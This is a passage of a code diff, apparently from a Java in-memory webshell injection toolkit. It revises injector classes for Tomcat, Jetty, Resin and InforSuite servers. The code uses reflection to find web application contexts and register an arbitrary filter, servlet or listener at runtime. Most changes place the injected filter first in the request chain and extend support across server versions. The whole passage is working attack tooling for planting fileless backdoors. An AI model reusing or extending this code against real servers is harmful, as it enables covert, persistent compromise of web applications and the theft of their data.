Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
Object filterMap = filterMapClass.newInstance();
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
try {
|
try {
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||||
|
if (filterMaps instanceof List) {
|
||||||
|
// InforSuite9
|
||||||
|
((List<Object>) filterMaps).add(0, filterMap);
|
||||||
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
// InforSuite10
|
||||||
|
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
@@ -192,52 +203,54 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Field field = getField(obj, fieldName);
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
Class<?> clazz = obj.getClass();
|
Field field = getField(obj, fieldName);
|
||||||
while (clazz != null) {
|
field.setAccessible(true);
|
||||||
try {
|
field.set(obj, value);
|
||||||
Field field = clazz.getDeclaredField(fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field;
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(fieldName);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+31
-48
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String[] classNames = new String[]{
|
String[][] filterHolderClassNames = new String[][]{
|
||||||
"org.eclipse.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||||
"org.mortbay.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||||
};
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
|
Class<?> filterMappingClass = null;
|
||||||
|
|
||||||
for (String className : classNames) {
|
for (String[] classNames : filterHolderClassNames) {
|
||||||
try {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||||
} catch (ClassNotFoundException ignored) {
|
} catch (ClassNotFoundException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (filterHolderClass == null) {
|
if (filterHolderClass == null || filterMappingClass == null) {
|
||||||
throw new ClassNotFoundException("FilterHodler");
|
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
|
||||||
moveFilterToFirst(servletHandler);
|
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
|
||||||
}
|
|
||||||
|
|
||||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
|
||||||
int filterLength;
|
|
||||||
|
|
||||||
if (filterMaps.getClass().isArray()) {
|
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||||
filterLength = Array.getLength(filterMaps);
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
for (int i = 0; i < filterLength; i++) {
|
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
Object filter = Array.get(filterMaps, i);
|
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
reorderedFilters.add(0, filter);
|
Object[] newMappings = null;
|
||||||
} else {
|
int length = Array.getLength(mappings);
|
||||||
reorderedFilters.add(filter);
|
if (mappings == null || length == 0) {
|
||||||
}
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||||
}
|
} else {
|
||||||
for (int i = 0; i < filterLength; i++) {
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||||
}
|
|
||||||
} else if (filterMaps instanceof ArrayList) {
|
|
||||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
|
||||||
for (Object filter : filterList) {
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
filterList.clear();
|
|
||||||
filterList.addAll(reorderedFilters);
|
|
||||||
}
|
}
|
||||||
|
newMappings[0] = filterMapping;
|
||||||
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
+1
-1
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+1
-1
@@ -42,7 +42,7 @@ public class JettyServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+22
-22
@@ -39,7 +39,7 @@ public class ResinFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -136,6 +136,11 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
|
||||||
|
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
||||||
|
filterMappings.remove(filterMappingImpl);
|
||||||
|
filterMappings.add(0, filterMappingImpl);
|
||||||
|
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -193,30 +198,25 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+17
-22
@@ -38,7 +38,7 @@ public class ResinListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -182,30 +182,25 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+17
-22
@@ -40,7 +40,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -183,30 +183,25 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+55
-30
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,22 +61,6 @@ public class TomcatFilterInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -117,6 +102,23 @@ public class TomcatFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
@@ -149,15 +151,18 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -175,11 +180,17 @@ public class TomcatFilterInjector {
|
|||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
try {
|
try {
|
||||||
// v7.0.0 以上
|
// Tomcat5
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(context, "filterMaps", results);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
@@ -251,20 +262,34 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
